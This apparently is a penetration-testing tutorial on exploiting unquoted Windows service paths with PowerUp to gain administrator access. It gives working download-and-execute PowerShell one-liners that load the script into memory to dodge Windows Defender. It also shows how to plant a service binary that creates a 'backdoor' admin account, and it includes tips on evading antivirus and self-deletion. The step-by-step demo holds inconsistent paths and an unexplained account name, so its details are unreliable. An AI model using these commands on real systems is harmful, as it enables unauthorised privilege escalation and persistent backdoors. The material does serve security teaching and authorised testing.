Using PowerUp to find and exploit unquoted service paths in Windows

On a penetration test, elevating privileges on a Windows machine is often a challenge. PowerUp is a great utility to help easily identify and exploit common Windows privilege escalation vectors.

Download a copy of @harmj0y's PowerUp.ps1 and host on your own web server. If you can access your web server (or even github directly) from a victim machine, it makes it easy to download a copy. If Windows Defender detects it, you can load it straight into the server's memory without touching the disk as follows:

C:\> powershell.exe -nop -exec bypass "IEX (New-Object Net.WebClient).DownloadString('https://your-site.com/PowerUp.ps1'); Invoke-AllChecks"

[*] Running Invoke-AllChecks

[*] Checking if user is in a local group with administrative privileges...

[*] Checking for unquoted service paths...
ServiceName   : BBSvc
Path          : C:\Program Files\Microsoft\Bing Bar\7.1\BBSvc.exe
StartName     : LocalSystem
AbuseFunction : Write-ServiceBinary -ServiceName 'BBSvc' -Path <HijackPath>

ServiceName   : TLViewer
Path          : C:\TLViewer\Viewer Console\ViewLoader.dll
StartName     : LocalSystem
AbuseFunction : Write-ServiceBinary -ServiceName 'TLViewer' -Path <HijackPath>

[snip]

[*] Checking service executable and argument permissions...
[*] Checking service permissions...
[*] Checking %PATH% for potentially hijackable .dll locations...
[*] Checking for AlwaysInstallElevated registry key...
[*] Checking for Autologon credentials in registry...
[*] Checking for vulnerable registry autoruns and configs...
[*] Checking for vulnerable schtask files/configs...
[*] Checking for unattended install files...
[*] Checking for encrypted web.config strings...
[*] Checking for encrypted application pool and virtual directory passwords...

C:\>

In this example, PowerUp has found unquoted service paths and also includes a function to exploit this vulnerability.

What is the unquoted service path vulnerability?

Windows now supports folder names that include spaces. When the file path contains a space, encapsulating the entire file path within double-quotes is the best way to ensure that the file can be located.

If the file path isn't quoted, Windows must consider that the text following the space might include command line arguments. Windows works from left to right, guessing at each space that there's something to run until it eventually succeeds in executing something. Here's an example:

Try 1: "C:\Program[.exe]" Files\Microsoft\Bing Bar\7.1\BBSvc.exe

Try 2: "C:\Program Files\Microsoft\Bing[.exe]" Bar\7.1\BBSvc.exe

Try 3: "C:\Program Files\Microsoft\Bing Bar\7.1\BBSvc.exe"

Attackers can exploit this particular vulnerability by dropping a file called Program.exe or Bing.exe into the appropriate location and either initiating a service restart or waiting for the service to be restarted - perhaps following monthly patching. Windows services often run with SYSTEM or ADMINISTRATOR privileges, and it's particularly useful when the service is set to run automatically such as on startup. This is a great way to trick a privileged process into performing actions such as running a command or creating a user with administrator privileges. PowerUp's Write-ServiceBinary creates a binary that does exactly that.

How it works

To exploit, the pen tester will need to create a malicious executable and save it to the appropriate folder with the correct name, so write access to the folder is required. It's also important to know if and when the service will restart itself. The TLViewer service is set to restart automatically on reboot:

C:\>sc qc TLViewer
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: TLViewer
    TYPE               : 10  WIN32_OWN_PROCESS
    START_TYPE         : 2   AUTO_START
    BINARY_PATH_NAME   : C:\TLViewer\Viewer Console\ViewLoader.dll
    DISPLAY_NAME       : TLViewer
    SERVICE_START_NAME : LocalSystem

The PowerUp script above identified two unquoted service paths with three possible locations in which we can place our malicious file:

  • C:\Program Files\Microsoft\Bing Bar\7.1\BBSvc.exe
    • C:\ [Filename: Program.exe]
    • C:\Program Files\Microsoft\ [Filename: Bing.exe]
  • C:\TLViewer\Viewer Console\ViewLoader.dll
    • C:\TLViewer\ [Filename: Viewer.exe]

In this case, we find that the user has write permissions on the C:\TLViewer folder. We invoke PowerUp's Write-ServiceBinary function on the victim's machine which writes out a patched C# service binary that adds a local admin or executes a custom command. The PowerUp output above gives us the command to run in place of Invoke-AllChecks:

C:\> powershell.exe -nop -exec bypass "IEX (New-Object Net.WebClient).DownloadString('https://your-site.com/PowerUp.ps1'); Write-ServiceBinary -ServiceName TLViewer -Path C:\TLViewer\ -UserName backdoor -Password Password123!"

This writes a file called C:\TLViewer\Viewer.exe that will be run with LocalSystem privileges when the service restarts. Writing the malicious file won't interrupt the service if it's running, but when the service restarts, Windows will execute the malicious file instead of the legitimate file. It would be possible to have PowerUp craft the malicious file to start the legitimate service to avoid creating problems that might lead to it being detected and even delete itself after it runs so it doesn't try to run again.

The victim machine's antivirus may also detect the binary, so this may require some additional work to cloak the file.

When the machine restarts, the pen tester will have administrator-level access using the newly-created account.

Step-by-step demonstration
# Open an elevated command shell

# Note accounts in the Administrators group
C:\> net localgroup Administrators

# Create a folder in C:\Temp with a space in the folder name
C:\> cd C:\temp
C:\> mkdir "unquoted path"
C:\> copy C:\windows\system32\cmd.exe "c:\tools\unquoted path\cmd.exe"

# Create a service with an unquoted path and verify
C:\> sc \\localhost create unquotedsvc binpath= "c:\temp\unquoted path\cmd.exe" type= interact type= own
C:\> sc qc unquotedsvc

# Run PowerUp to find the unquoted service path    
C:\> powershell "IEX (New-Object Net.WebClient).DownloadString('http://your_site.com/PowerUp.ps1'); Invoke-AllChecks" > c:\temp\powerup_user_unquote.txt

# Create a binary called unquoted.exe and save it to C:\Temp
C:\> powershell "IEX (New-Object Net.WebClient).DownloadString('http://your_site/PowerUp.ps1'); Write-ServiceBinary unquotedsvc -Path C:\Temp\"

# Restart the service to simulate a reboot
c:\> sc \\localhost start unquotedsvc

# Note accounts in the Administrators group - john has appeared
C:\> net localgroup Administrators

# Clean up
c:\> del C:\Temp\unquoted.exe
c:\> sc \\localhost delete unquotedsvc

Log in as john/Password123!